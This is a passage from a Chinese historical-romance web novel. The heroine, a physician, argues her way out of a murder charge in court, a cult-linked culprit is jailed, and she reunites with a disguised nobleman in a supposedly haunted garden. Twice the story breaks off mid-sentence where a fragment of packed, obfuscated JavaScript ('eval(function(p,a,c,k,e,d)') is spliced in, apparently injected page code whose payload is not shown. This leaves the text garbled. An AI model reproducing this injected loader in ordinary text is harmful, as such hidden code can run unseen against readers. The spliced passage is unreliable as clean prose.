民间只知宰辅江钺被罢官、抄家,从此销声匿迹,却无任何知情者敢将其身遭大辟、举族流徙的真相透露半分。 即便曾有从龙之功,又可堪称世代忠良,兴京江氏依然逃不过如此下场。 “难道这江娘子还真有啥来头?连县太爷都不敢查她!” “你莫在那乱说话,当心官老爷听到要赏你板子!” “我看这田大人是想多啰……” “就是嘛,大户人家的女娃哪能当郎中哦!” “你个没见识的东西!人家跟普通郎中不一样嘞!生意做得老大!跟我们这些平头百姓比个屁哦!” 见这公堂上都“威武”老半天了居然还在扯家常,围观百姓开始窃窃私语起来。 大梁历经四世帝王,到如今已然建立起完善的监察制度,各分道监察御史在巡按期间还可以微服暗访,向平民百姓了解当地官员的口碑。 届时若给人戴上顶“畏强欺弱”的帽子,必会被视为德行有亏,再遇到个把较真的言官,高低也得参他一本。 田庸为自己的莽撞举动感到有些懊悔。 可江楚禾此时却像是终于等来出手的时机,她躬身一拜,道:“大人容禀。” 声音平稳如常,态度不卑不亢。 此言一出,从堂上官吏到围观百姓,众人的目光齐刷刷地聚集在她的身上。 江楚禾明白自己的处境,眼下若是径直以“查案不明恐祸及己身”之类的话来威胁田庸,非但不易成事,还会激得他警铃大作,将自己视为敌对的一方,届时刘县尉和廖捕头要再瞅准机会掺和进来,她恐怕是更没活路。 可此事说来也不该难办,毕竟李全之死的确与她无关,只要说动田庸做主彻查此案,个中嫌疑误会定都能涣然冰释。 眼下,她只需打动田庸那副还不算太硬的心肠,让他自愿产生“要为民做主”的念头。 江楚禾想,若要达成这个目的,最好还是先将流民的身份咬死,如此一来,既能够激发田庸的怜悯之心,又可引得百姓共情,方便借势舆论。 但在这个过程中,她又不可给众人留下个没受过什么教育的形象,毕竟此番若不至没命,之后还得将生意做下去,所以“一个因兵祸而家道中落,因此被迫流亡的苦命少女”便是她为自己选定的角色。 江楚禾思忖片刻,决定将这个半真半假的戏本走下去:“民女出身边城,自幼苦于战祸,及笄之年失恃失怙,奔逃千里只为求条生路。幸蒙圣上恩赦,与同道流民在郾州编户落籍,又得青囊山庄宗庄主慷慨垂教,授我以岐黄之术,这才得以凭医道立世。” 一语方毕,两行泪珠自面颊缓缓滚落。 廖庆再度见鬼。 “唉哟喂!她还真是个流民啊!” “是的吧……不然这种事情怎么会乱说哦,怪丢面子的……” “哎哟,一个小女娃娃,还真是造孽哟……” “就是,怪不得她那么厉害!” “年纪轻轻……屋头也没得个撑腰的,不凶点怎么成哦……” “说的也是,不然咋活得下去嘛!” “你别说,她还真是不容易,一个小女娃能学出这么身本事,肯定吃过不少苦头!” 听得堂外百姓的议论,江楚禾心知自己这一步走得不错。 但是,还远远不够。 她要在这把秤上再添些砝码。 江楚禾微微蹙起柳眉,环顾四周,朗声道:“民女正因少时沦落,体味过以微末之躯苟活于世的辛苦,方知暗室逢灯、绝渡逢舟的可贵。是以,在两年前宁州突发大疫之时,民女才会主动请缨前来,深入疫区,以解乡民之困。” 她这番话提醒了围观的百姓,众人如炸开锅一般议论起来。 “那年我们全家都遭了瘟病,阿翁被拖去善堂好些天,官府都没得法子……要不是江娘子……” “我家里也是!先是涝灾,屋头早就穷得叮当响,要不是归元堂肯赊药给我们……哪里还有我们一家人哦……” “就是嘞!也就她肯救我们这些穷骨头的命……” “说真的,江娘子还真是做过不少善事嘞!” “那可不!南山堂里卖八文钱的药,她家只收三文!活菩萨转世嘛这是……” “三文钱!啊哟!菩萨娘娘显灵咯!” 围观者说到激动处,已然开始双手合十、对天跪拜,刘亢见田县令半天不敲惊堂木,急得直冒汗,可田庸不仅并不在乎那些叽叽喳喳的议论,反倒是带着慈祥的微笑和一脸为人父母的欣慰。 最后还是廖庆从刘亢那里接了个眼色,适时冲堂外大喝一声:“喂!你们几个当这里是你家后院啊!升堂让你们来看,那是让你们长见识、受教育来的!不是方便你们嚼舌根的!” 见本县第一凶神发话,围观百姓立即住嘴。 廖庆瞧自己说话这般好使,难免有些得意忘形,转头又对江楚禾嚷道:“还有你,好好交代,不要扯些乱七八糟的东西!这会还提什么大疫期间的事情,你想干嘛?嗯?你说你一个女娃家家,能有什么了不得的本事,还不是瞎猫碰到死耗子,撞运气医好了几个人,这就来邀功请赏了?” 江楚禾余光扫过堂上众人。 刘亢以帕遮面掩饰神色,田庸揣手端坐垂目不语。 这弋陵县衙还真是名不虚传…… 她刻意收敛了几分锐气,用平静的语调向廖庆问道:“两年前,民女受令堂之邀曾为饱受疫病之苦的廖捕头开过几贴药,顺便还替你瞧了眼陈年咳疾,不知如今可曾复发过?” 语气听着诚恳无比,就像是真的在关心他一般。 廖庆三度见鬼。 那时他发高热已经好些天,人都烧得说胡话了,哪里知道有谁来给自己瞧过病! 他只记得自己在喝了几碗苦汤子后,便莫名其妙地退了热,而后就连一到换季时都会发作的咳喘也再没找上他。 每次说起这事,他家里那个神神叨叨的老母亲都只说是天爷爷显了灵,派下神女赐药,救回了她的儿。 开玩笑!就他家老两口那见庙就拜的毛病,鬼知道是请了哪路的神仙! 于是,他也就没再深究,这么多年过去,且只当是爹娘让巫师跳了个大神后,自己靠运气扛过来的。 堂上揣手看戏的县老爷见廖庆吃瘪,不禁微微一笑,道:“罢了罢了,都耐心些,听江娘子把话说完。” 江楚禾向他拱手示意,道:“大人明鉴,民女提及此事绝无挟功邀赏之意,只为说明一点。” 田庸一抬眉毛:“哦?” 她微微颔首,道:“民女幸得恩人援手,才能绝处逢生,因此习得了扶危救难的君子品行,故而在上元夜偶遇李全行凶时才会出手相救,行 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田庸有些不好意思地捋了捋山羊胡,心中却对此言非常受用。 “然而,若义勇之士被人构陷、祸及己身,民女不知此事传扬出去……会受到何等议论,更不知往后乡亲们在逢人遭难时还会不会愿意施以援手。” 田庸的笑容微微有些凝固。 江楚禾却像是未曾发现对方的面色变化,仍自顾自地从容说道:“化民成俗非一时之功,江某蒙冤受屈尚不足为道,可民女实不忍心见大人受人蒙蔽,以至多年心血付诸东流;更忧心他日御史巡按到此,会因此误解大人,惹来非议。” 此言一出,堂上众人面面相觑。 田庸越发觉得这位江娘子是个妙人。 她看似娇弱,轻蹙柳眉的样子让人忍不住想替她打抱不平,但言行举止却有一股没来由的从容坚定,申辩时的态度不卑不亢,又能句句正中要害。 可当你察觉她的行事章法似乎心机不浅时,又会在那双纯净无辜的杏眸蛊惑下,不自觉地将这般猜想抛诸脑后。 他想,即便陶子昇没同他打好招呼,他恐怕也会被这么个小丫头的三言两语给说动了。 刘亢看着田庸面上的神情,对自己该抛下哪个卒子的事已做出决断。 他用帕子擦了把大油脸,堆起笑容道:“因花神会商户遴选事宜都是屠县丞一手打理,下官无从得知江娘子是否也在其中,非是玩忽职守……请大人勿要责怪。如今看来,江娘子确有冤情,可否容下官细查,再……再行审理?” 田庸笑眯眯地看了他一眼,“今日本官与你一同详查,且看此事究竟何人所为。” 这意思是今天必须得有个说法了。 刘亢再次默默擦汗,恭敬回道:“全凭大人做主。” 站在一旁的廖庆见他这副靠不住的样子,急得猛掐大腿。 可田庸却像是心情不错,他满面笑容地看过去,问道:“廖捕头,此案可还有其他凶嫌?” 廖庆眼前一黑,只好硬着头皮回复:“回大人的话,小的无能……未发现别的嫌犯。” 所以今天详查不了,还是等我们把局做圆了再说吧! 不料田庸却笑意渐浓,“无妨,正巧本官手上有一个,已在路上了。” 14. 难匿 王富回想起自己这两日里的遭遇,越发觉得那外乡的小白脸就是专来克他的。 今日天刚亮时,他便迷迷糊糊地醒了过来,还未来得及庆幸那人没将他抓去县衙,就被一个面有刀疤、凶相十足的青年捕快给薅了出去。 可他又哪里会是束手就范的怂包性子? 自打被那刀疤脸押出水神庙,王富就四下张望起来,还真给逮到个上佳的逃跑机会。 只见不远处的渡船上刚走下一行人,为首的是个相貌普通的中年妇女,看打扮像是哪户有钱人家的嬷嬷,正招呼着岸上的车夫将马牵过来好方便上车。 随后下船的则是位以薄纱遮面的娇小女子,不顾晨光朦胧和舟车劳顿仍戴着精美的步摇和流苏耳饰,一瞅便知那是个身价不凡的金鸭子。 于是,他心生一计,先以“人有三急”为由哄骗着刀疤脸为他松了绑,然后撒腿就扑向那个正颤颤巍巍往岸上走的小丫头。 擒人,拔簪,一气呵成。 待三名捕快赶过来时,他正用长簪的尖端指着少女的喉头。 “我不图别的,只求你们能让我上船。待我顺利过江之后,自会想法子将这金贵女娃送回来。可若是你们不肯放我生路,那就休怪我死到临头要拉人垫背了!” 王富将簪头抵在少女的颈侧,冲众人如是高喊道。 打头的捕快摸了把自己左脸的刀疤,戾气直冲脑门。 可还没等他动手,站在一旁的嬷嬷就先叫嚷了起来:“唉哟,各位好汉莫要冲动!我家娘子可是黄四爷的嫡长女呢!这刀枪无眼的,万一将我家娘子给伤着了,谁能担待得起哇!” 她口中的“黄四爷”便是出资修建水神庙的那位弋陵豪绅,黄季。 黄家世代经营船运生意,虽说只是白衣商户,却因多年来一直承接官家漕运生意而与当地衙门颇为交好,且水路生意又多少会同帮派兄弟有些牵扯,如此一来,无论黑白两道都得敬他三分,即便是在建兴帝下大力气治理漕帮,江湖已无人胆敢露头的今日,黄氏在弋陵仍算是一股不容小觑的势力。 不知是不是想起了这茬,又或是阿姎之前说过的那句“马上就要进黄家给黄娘子做贴身丫鬟”,王富在听到嬷嬷这么说后,不禁怔愣片刻,下意识放松了手劲。 就在他迟疑的瞬间,眼前突然闪过一道白线,继而手肘猛地传来刺痛,然后就像是被人敲了麻筋一般,整条手臂都木了起来。 “嘶……”手中长簪应声落地。 被挟作人质的黄娘子看着又矮又瘦,身段却是意外的灵活,在王富撒手的瞬间,她就瞅准机会朝自家嬷嬷跑去,顺利逃离他的控制范围。 看见脚边落下的那粒石子,王富一阵心有余悸,忍不住暗骂:他奶奶的,阴魂不散的小白脸! 就这样,三名捕快总算是有惊无险地将他押回县衙,待到堂上舌战一番,又在铁证面前认怂服罪后,天色已是晌午过后的光景。 王富狠狠攥了把牢房铺地的稻草,满心懊悔地想,都怪自己心念动摇,试图携款逃出弋陵,否则便不会进那水神庙,更不会遇到天杀的小白脸。 兴许……他也不会被捉拿归案。 想到此处,王富气得猛捶大腿,却又没有旁的办法。 要知道,若非小白脸曾以他乡下寡母的性命相要挟,他本打算在上堂之时将那人也一并咬出来,索性来个同归于尽的,如今却只能老老实实地签字画押,再巴望着刘县尉等人能看在同为圣女做事的份上,帮忙把他从牢里捞出去。 王富想,他素日里侍奉圣母时也算虔诚,在圣女座下效力的这段时间更是尽心尽力,此番行事虽说是出了些岔子,但他到底也已循着圣使的指令将人带进弋陵,若花朝节时那人能够顺利得手,自己也算是立下了些许功绩,若圣母能念在他方才于刑讯时仍顶住压力,未曾吐露李全之死背后的秘密,更是合该再为他添上一笔苦劳。 如此一来,刘亢、廖庆等人总不能眼瞅着他秋后处斩吧? “一定……一定还有机会……”他伏地叩首,口中不断地念叨着:“求圣母赐福!求圣母赐福……” * 眼下真凶既已落网,江楚禾自然也顺利洗脱了冤情,田庸亲自做主将她当堂释放不说,还难得费些脑筋说了几句“见义勇为,不顾其害,实乃女中丈夫”之类的场面话,引得围观百姓也连连叫好,又议论起前年大疫时归元堂上下的种种义举,直到她穿过人群走到巷口之后才恋恋不舍地散了场。 经过这么一遭,江楚禾身心俱疲,脚下的步子也慢吞吞的,让尾随之人不免有些心疼。 司徒靖小心翼翼地与她拉开一段距离,却始终不敢让江楚禾脱离自己的视线,只是她似乎心里还惦记着别的事儿,竟没注意到身后还跟着个尾巴。 按说眼下衙门已经拿了真凶,她的冤情终得昭雪,应当一身轻松才是,可今日的田庸实在是同往常百姓口口相传中的大不一样,江楚禾难免有些犯嘀咕。 她看得出来,田庸早在升堂前就已经做足准备,他不仅事先了解过案情,查证过细节,甚至已派人控制了本案真正的凶手。 刘亢曾经说过,李全的尸身是正月二十晚间被发现的,如若此案一出,田庸便立即着手调查,那么在牛万金验出死亡时间后就不该怀疑到她的身上,更不会在次日将她拿入县衙候审。 也就是说,至少在此之前,本案还是由刘亢和廖庆这两位有意拿她顶罪的人在负责,而田庸应是之后才插手此事的。 江楚禾很清楚,这位县太爷同自家没有任何渊源。 更何况,他若是一早便知她的身份,又怎会在过堂时有意无意地试探她的底细? 可若非如此,那又是什么原因导致了他的突然介入呢? 她思索半天都没有任何头绪,眼看归元堂的招牌就在面前,只好先开门回家,准备等吃饱睡够之后再做旁的打 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他眼神闪躲,恰好瞅见江楚禾腕上的血痕,赶忙拉着她岔开话题:“呀!东家受伤了?我给你包一下吧!” “你少打岔!”江楚禾向前一步,紧紧盯住他的眉心,“快说!” 宋福见这架势,就知道糊弄不过去了。 其实他也不大明白,这两人对彼此的关切分明就遮掩不住,可在帮助对方后又一个个的躲着不见,也不知道是别扭个什么劲。 如今看来,还是得靠他推上一把! 宋福舔了舔有些发干的嘴皮子,横下心道:“就是……那个……兴京来的郎君。” 果然! 宋福见江楚禾一脸“再不从实招来我就要打得你嗷嗷叫”的表情,又磕磕巴巴地向她解释起来。 “那位郎君不知从何处得知东家被诬入狱的消息,昨日午后自己找上门来,说是……要帮我寻法子救出东家。后来……牛阿兄过来时,两人碰巧遇到,他就同牛阿兄一道去义庄验了尸……之后还回来写了两封信,再然后就又出门去了……” 江楚禾觉得她不必再听下去了,真相已昭然若揭。 难怪田庸今日就像开了天眼一般,原来是有人已替他查清案子的来龙去脉,将这现成的功绩送到了他的手上。 “他人呢?” “昨夜出门办事后就没再回来了,临走前还特意嘱咐我……让我别将他来过的事告诉东家呢……” 还当真是个行善不留美名的活菩萨! 江楚禾想起在回归元堂的途中,自己隐约感到身后似乎有人尾随,只不过方才她心里一团乱麻,也就没太在意。 现在想想…… 多半是那人放心不下,又不肯露面,才会以这种方式一路相送。 “我再出去一趟!”她没多做迟疑,转身就离开医馆。 15. 冒犯 归元堂往南再行十里处,有一座荒废已久的大型宅院,名唤思园,是宁王于三十多年前花费重金为其宠姬罗思儿建造的私家园林。 宁王司徒骀是先帝长子,即当今圣上建兴帝的庶长兄。 此人的生母只是一名普通宫女,在诞下龙子后便被以“狐媚惑主”的罪名赐死,而他名义上虽然是由晏太后抚养长大,但到底与嫡出皇子还是不同,不仅出身输了一截,在品貌才学上亦乏善可陈,因此自小就不受先帝宠爱。 在数次试图取悦圣心都宣告失败之后,他便有些自暴自弃起来,屡屡做些出格的事情,让元嘉帝颇为头疼,而随其年纪渐长,竟还有愈演愈烈之势。 不知是否因年幼失恃的缘故,他在少年时期便对美貌的中年女子格外青睐,十余岁时更是偷摸溜出宫去,用一匣子明珠点了邀月楼里的鸨.头.妈妈通宵给他唱曲弹琴。 而这罗思儿小姐,据说正是一位年长于宁王五、六岁的稀世美人。 其人姿容卓绝、才艺出众,好丹青、擅歌舞,二八之年在兴京横空出世、名噪一时,可不知何故竟于两年后急流勇退,时人皆为之可惜。 幸而明珠蒙尘、不掩其光,在她隐退十余年后,宁王偶然间邂逅佳人,立时便被勾去了三魂七魄,不惜忤逆圣意也要将她纳入府中,气得元嘉帝直到咽气前还在不停大骂“逆子”,更于遗诏中特意言明“凡司徒氏子孙皆不得出入勾栏,更不可将青楼女子纳入府中,若有触犯此条者,一律贬为庶人”。 可即便如此,依然挡不住宁王殿下对美人的一腔赤诚。 在先帝宾天之后,建兴帝登基不久便遵先帝遗诏命三位藩王各自就藩,众人皆以为司徒骀在前往封地后便会与罗思儿断了联系,另再找些旁的乐子。 不想这位爷竟真是个痴情种,居然在守孝期间就迫不及待地将她接入弋陵,不顾众臣弹劾、市井流言,执意将其养在身边,甚至还特意请来百名匠人日夜赶工,这才建成这处宅院,专门用来金屋藏娇。 只可惜天妒红颜,两人相伴不过十载,思儿小姐便撒手人寰。 宁王殿下难忘伊人,在此后的十年中一直派人打理看管着这处宅院,一切陈设装饰都有如从前那般,就这么持续到建兴二十一年,司徒骀在“三王之乱”中兵败身死之后,讨逆之师破门而入,将这座院落中的值钱玩意洗劫一空,又狠狠打砸一番后才满意离去。 自此,昔日爱巢光景不复。 那一年,宁王的旧时属地由封国变州县,昔日府邸改为刺史衙门,而他用来藏娇的金屋则被当做公共园林,成为本地百姓携孙玩闹的去处。 直到某个电闪雷鸣的夜晚,天火点着了院外的一棵古树,火势绵延整夜不绝,而后不知怎的,此处就开始频频发生怪事。 先是前来游玩的百姓时常莫名落水而亡,然后又被人发现每到暴风雨来临的夜晚,园中都会发出呜呜的怪声,有如哭泣般带着悲恸和怨恨,之后便传出“思园闹鬼”的消息,久而久之,此处就无人敢来了。 两年前江楚禾刚来到弋陵就听闻了这个传言,得空还特意过来探险一番。 也正是那时,她发现这里的围墙石壁和廊桥假山上都被人做过手脚,在夜半风声的影响下自然就会传出回声,再经有心之人刻意引导之后,便以讹传讹出了闹鬼的说法。 江楚禾想,许是有什么人不想园中清静总被搅扰,故而出此下策。 于是,她便没有将这个发现宣扬出去,只是偶尔想要出来透透气时,在此处的水榭小坐一阵,享受片刻的宁静。 司徒靖已跟着她走了半个多时辰,直到进入这座破败的园子,依然不知江楚禾来到此处究竟是有何打算。 他只能以视线牢牢锁住她,不敢有半点松懈。 此时同他一样紧紧盯着江楚禾的,还有距离二人不远处的楼阁内,正在向外俯瞰的两双眼睛。 小满的右手始终握在刀柄之上,灰色眼瞳一刻都没有离开闯入园中的那两个猎物。 那俩人一前一后来到此处,走在前面的女子穿着一身缥色高腰襦裙,即便是在傍晚的夕阳下也几乎可称是无所遁形,怎么看都不像是有备而来,而在她之后进入园中的男子则有几分刻意的遮掩,不过似乎只是意在防备那位女子。 他在楼阁之上可是看得一清二楚。 莫非…… 这就是中原人常说的什么“大虫子想吃小虫子,什么鸟在后面等着吃大虫子”? 八个字的……到底是什么来着? 小满一阵挠头捂脸捶胸顿足。 还没等他琢磨明白自己究竟算是个什么鸟,事情就朝着未曾料想的方向发展了下去。 上一刻还在石桥上悠然闲逛的缥色身影不知怎的突然就一跃而下,眼看即将落入水中。 “主人!这……”他转头看向身旁那位穿着一袭青衿深衣的清瘦男子。 据他所知,石桥上的机关早已被人拆除干净,怎么还会有人往下掉? 但青衿男子却并未回话,他重重咳嗽两声,又抬起下巴示意小满继续向外看。 方才眼看就要落水的小娘子,此刻正被一高个男子抱在怀里,看上去居然就是之前鬼鬼祟祟尾随着她的那位。 “嗯?被救起来了?合着那人不是要偷袭啊?”小满挠了挠脑袋。 想不通,想不通啊! 一个人跟着另一个人,跟了这么久,行踪这么鬼祟,怎么可能不是想干些什么? “莫非……”小满灵光乍现,“难不成,这俩人是那种关系?” 他突然记起先前在主人给他认字用的话本子里好像看到过这种故事,当时那卷痴男怨女的虐恋传奇可是激得他一身鸡皮疙瘩,如今想起心底还泛着阵阵恶寒。 青衿男子并没有分心去回答小满的疑问,他呼吸沉重,时不时就要咳嗽几声,看上去不大舒服的模样,但仍颇有兴味地够着头向外边看。 小满顿感无奈,决定赶紧提醒下自家主人,莫要因为瞧热闹而耽误动手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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司徒靖不曾抱过旁人,更遑论是以这般不得体的方式。 他横下心,趁江楚禾因一时羞赧而松开双臂的空当,将手一抬一托,把她扛到肩上。 “喂……我又不是麻袋!” 江楚禾的面色由红转青,晃动着四肢又开始疯狂挣扎。 “稍等,我先带你离开此处。” 湖心假山什么的,实在不是个说话的地方。 司徒靖快速扫视周围,决定先将人带去湖边的水榭,再好生同她说道说道:一声不吭就往水里跳的坏毛病,怎么这么多年了还没有改掉? 可江楚禾哪有那么好对付? 她不停摇晃双腿,胡乱扑腾着,嘴上也一刻不闲:“你快放我下来……哎呀!救命!” “你安分些。”见她这般折腾,司徒靖只好再次出言表示警告。 江楚禾显然没有被震慑住,她又扭动几下,但在预感到事情即将变得更糟后总算控制住了作乱的心思,可怜兮兮地伏在他的肩头,低声说了句:“晏公子,我鞋快掉了……” 司徒靖垂目看去,只见她此时正勾着双脚,精巧的软履挂在脚尖,一副将掉未掉的样子。 这人还真是他命里的克星! 他默默叹了口气,认命一般地将那双绣鞋拎到手中,无奈道:“那便莫再乱动了。” 16. 犹疑 他轻巧跃起,扛着江楚禾回到了岸边。 待她回过神来,司徒靖已将她放在水榭的石凳上,正单膝跪地,像是准备为她穿上绣鞋。 见这架势,江楚禾脑袋里突然响起“嗡”的一声,赶忙出言阻止:“别!我自己来就好……” 坚定的拒绝之词犹如迎头大棒般将他猛然击醒,司徒靖伸在半空中的手微微一颤,没等江楚禾察觉到他的异样,便迅速将鞋履摆到她的脚边,起身挪开视线。 在两人分离的这些年里,司徒靖未曾有一日不想起她,在反复阅读她留下的札记后,其字里行间所流露出的才情与两人不谋而合的观点都令他愈发难以自拔。 而随着一封封与她境况有关的情报送到手中,更让他有种两人不曾真正分别的错觉,就好像是他陪伴江楚禾一同踏过千山万水,于灵渊苦学技艺,在弋陵救助苍生。 对司徒靖而言,两人是神交已久、心意相通的灵魂伴侣,是五礼已成、只待亲迎的未婚夫妇;他已在自己虚妄的幻想中与她相爱五年之久,以至于竟因一时忘情而逾越礼数。 “方才,多有冒犯。” 此时他面上的羞意还未来得及完全褪去,既不敢正视江楚禾粉中透红的两颊,也不敢低头看她露出的双足,只好两眼望天,满脸都写着“非礼勿视”。 见他这副模样,江楚禾不知怎的就起了调笑的坏心思。 她麻利儿地穿好鞋,在司徒靖的面前站定,脸上带着几分戏谑的笑意。 “冒犯?晏安公子,我看你拿着绣鞋往我脚上套的时候可顺手得很呢!莫非……是平日里哄尊夫人养成习惯了?” 当然,江楚禾是有意提起这茬的。 她想,此人既出身世家,又品貌卓绝,在这般年岁应当早已成婚,除非是有什么特殊原因,比如…… 他是信字营的死士。 说罢,她便笑眯眯地等着那人辩白,好借此来坐实自己的猜想。 不出所料,对方听到“尊夫人”这三个字后立马就急了。 他脱口而出:“我从未与旁人谈婚论嫁,你莫要乱想!” 其实这话里暗藏着不少信息,可江楚禾的心思没在此处,竟完全没有察觉。 而司徒靖则在话音落下的那一刻就意识到了自己的失误,果断选择岔开话题:“方才……在湖心假山中,在下因一时情急未能思虑周全,若有逾矩冒犯之处,还请勿怪。” 原来他此前所言的“冒犯”是指这个…… 江楚禾不免又想起自己在惊慌间搂住他脖颈的那一幕。 一抹红晕悄悄漫上面颊,她假意轻咳两声,摆摆手道:“无妨无妨……刚还多亏有你出手相救,否则我就要成落汤鸡啦!” 说着,江楚禾又假作随意之状,没心没肺地嘻笑起来。 见她将生死攸关的瞬间就这般轻描淡写地揭过,像是完全没有意识到方才险些落水的情况有多么令人心悸,他面色一冷。 “你怎的还是这般不拿自己的性命当回事?” 江楚禾可没想到多年过去,这人的性子竟还是如此严肃冷硬,她当即反问道:“晏安公子……五年未见,你就只想对我说这个?” 司徒靖不敢答话。 他想说的自然不止如此。 可现下他还能做些什么? 向她表明身份,坦露心意,央求她同自己在一起? 虽说司徒靖能隐约感觉到江楚禾对他是有些好感,但这恐怕仅限于他身为“晏安”的时候。 若她知晓自己的真实身份,定会嫌恶他、厌弃他,断无可能再同他相交,更遑论与他厮守。 毕竟,他的父亲是害得江氏一族满门冤死的罪魁祸首,而他在江楚禾身陷绝境时却远在敌国、力不从心。 这样的自己,有什么资格在她面前佯装深情? 司徒靖只觉千言万语都无从倾诉,末了只能低低地说一句:“江九娘子,别来无恙。” 他长着一双极漂亮的桃花眸,形状长而不狭,眼头深邃,尾部略微向上弯翘,泪堂饱满又泛着浅淡红晕,犹如眼带桃花,时时都有种眉目含情的感觉。 此时这双眼正牢牢地盯着她,眉峰微皱、薄唇紧抿,委屈中又带着一丝不甘的倔强。 他重伤初愈且整夜未眠,眼下的淡淡乌青配上唇边与下颌的胡渣,显得有几分颓丧,再配上那样的眼神,看着竟令人有些心疼。 其实江楚禾方才只是同他玩笑,并非真有嗔怪的意思,也没想到他会是这般反应,一时之下难免感到意外。 不对劲!真不对劲! 在两人此前的交往当中,这人向来都是不悲不喜、古井无波的,怎么可能因为她的一句娇嗔就流露出这般神态? 江楚禾随即想起前日从赖延口中听得的京中秘闻。 莫非那纨绔所言皆有根据,晏安这是想到了她沦落于此的原因,所以物伤其类、心有戚戚? 当年高祖皇帝起兵诛暴时,定州豪族群起响应,其中尤以晏氏、付氏、江氏三家出力最多,而在大梁建国之后,这三大世家也得到了应有的回报,族中子弟大多身居高位、执掌要职。 可随着最高权力的代代更迭和世家势力的日益难控,对于君权旁落的担忧也渐渐成为了历代帝王的心结。 特别是对于建兴帝这位刚毅果决、张扬霸道的一代雄主而言,就更是如此。 于是他处心积虑地使各大世家相互制衡、彼此争斗,同时又扶植起宦官、寒门等新生势力从世家的口中分一杯羹。 而当以上种种还是不能打消这位“千古一帝”的顾虑时,便唯有杀之才能断绝后患。 江楚禾也是事后复局才意识到江氏的覆灭其实早就祸根暗埋,可她万万没有想到,与皇族同宗同源、世代姻亲的晏氏竟也会难逃此劫。 诚然雷霆雨露俱是天恩,可哪怕他们只是俎上鱼肉、足下蝼蚁,此刻也得抱团取暖,先将日子过下去。 于是她一把拉住司徒靖的长袖,斩钉截铁地说:“你同我回去!” “江九娘子,我……” 他不知江楚禾心中所想,张口难免带着几分犹疑,可她的语气却是果断得很。 “你唤我‘江阿九’或者‘阿九’都成,这是我在此地用来掩护的身份。” 在五年前两人初识之际,她碍于高门女子在外隐名的规矩,并未向他透露过自己的闺名。现今她身为医家,虽不必再受此限制,而他又早已清楚她的底细,按说将名字告诉他也并无不可。 只是她毕竟已用江阿九的身份行走多年,如今在身边熟人当中,除师兄之外并无他人知晓她的真实姓名,便索性以化名同他结交,横竖他也不会发觉。 但司徒靖闻言却是一怔,他先因江楚禾不愿实名相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“当然,你若无意拔除此毒其实也无妨,先留在我那儿养好外伤便是。我知你南下定是有事要办,你放心,我不会干涉你,也不会瞎打听。只是如今你流落此地,且无照身可查,恐怕去店里投宿也不方便,而我那儿正有空屋可住,平日里又偶有青囊山庄的弟子前去帮手,就算多一个外人也不容易被注意到,还能助你隐藏身份。” 话说到这个份上,应当不会再有推拒的余地,可那人却仍旧垂目不语。 江楚禾有些失了耐心,她柳眉微蹙,抬眼瞧着他:“你在犹豫什么呀?难道还担心我将你留在此处是有什么目的吗?” 当然,若说她全无图谋自然是句谎话。 这五年来,江楚禾从未放弃过查证当年疑案、为亲人昭雪的念头,只是如今她尚在民间,又身份微贱,做起事来难免束手束脚。 她想,此人毕竟背靠晏家,又身手了得,还是个聪慧沉稳能堪大用的,一朝落难在此,她在力所能及的范围内先帮上一把,若他日此人重回兴京,没准可借他之手探查当年真相。 退一万步说,就算两人此生注定沦落天涯,相呴相济也总比孤军作战要多些胜算吧? 更何况,他在流落异乡、重伤初愈的情况下仍不忘救她于危难之中,于情于理她都不该再袖手旁观下去。 如此想着,江楚禾更加坚定了要将他留住的决心,她向司徒靖深深一拜,再抬头时,一双杏眼已隐隐含泪,如同噙着两汪秋水。 “若非有你,我恐怕还身在囹圄,洗雪无望。你就当是给我机会报恩,留下来吧。” 报恩? 原来是这样。 司徒靖心下泛苦。 在沉默片刻后,他道:“江九娘子福泽深厚,自能逢凶化吉,在下不过聊尽绵薄之力,更何况此次主要仰仗牛仵作相助……” “你居然跟我来这套?”江楚禾气鼓鼓地打断他。 17. 事成 江楚禾两手叉腰,怒目而视,方才那副楚楚可怜的模样瞬间消失,足以让人怀疑她刚是被什么娇媚狐仙上了身,而眼下这个女土匪才是她的原形。 “你说说你这个人,同外人客气客气也就罢了,咱俩可是过了命的交情,你搁我这儿瞎讲究个什么劲?” 一根手指在他的身前指指点点。 “……”司徒靖抿嘴不言。 见他还是不肯就范,江楚禾决定用最粗暴的方式来解决问题。 她一手去捉司徒靖的腕子,一手作势就要扯开他的前襟,还不忘口出狂言:“过后我自会去谢牛万金,今天先好好报答你!” 这架势惊得司徒靖连连后退。 “你躲什么?我给你号脉看伤!你不是不肯同我回去么?那就在这儿治!”说着,江楚禾又伸过手去。 “我……我同你回去……”否则天知道她还能干出什么吓人的事。 “当真?” “嗯。” “那好吧!”江楚禾终于得到满意的回答,一挥衣袖便转身走人。 司徒靖紧紧跟在她的身后,生怕她又整出什么别的幺蛾子。 此时天色已有些昏暗,行至树荫遮挡着的窄桥处时,更是连自个儿脚下的那点路都看得不清不楚,江楚禾饿着肚子,本就两腿发虚,没走几步便险些被翘起的砖石绊倒。 好在身旁有人盯着,她刚打了个趔趄就被司徒靖一把捞了过去,他一手隔着袖子拉住江楚禾的手腕,另一手则虚虚地放在离她肩头一寸左右的位置上,从远处看去像是将她搂在怀中一般。 这一幕被楼阁上的那双鹰眼看在其中,青衿男子微微勾起唇角,他把怀中揣着的手炉放在一边,转头便将案上的矾绢铺开,就着一盏暗灯仔细勾画起来。 当小满手托信鸽从外面回来时,他正在填充着笔下的细节。 “主人,您的手……” “不过随意画上一幅,不碍事的。” “哦……”小满知道自家主人向来不遵医嘱,实在任性得很,偏生又是个不愿服输的倔驴性子,断不肯因病痛而放下心头的喜好,只得顺着对方问起与画作有关的事情来:“那……您这是在画啥呀?” “郎情妾意,良辰美景。” 听上去怎么不大正经…… 小满腹诽着,又凑近看去,只见画中人正是方才在水榭中的那一男一女,两人像是结伴回家的样子。 “看上去还怪温馨的嘞!”他若有所思地点点头。 青衿男子并未答话,像是也没指望对方能发表什么高见,他低低咳嗽几声,伸出手问:“让我看看,你给我带什么好消息来了?” 他的手指苍白修长,但关节处却格外粗大,瞧着颇有些令人心惊。 可小满却像是早已思空见惯,在应声后便当着对方的面从白鸽腿上的信筒中抽出一个纸卷,递到那只手上。 青衿男子展信阅毕,唇角微扬。 “成了!” * 待两人回到万寿街时,已经是一更天了。 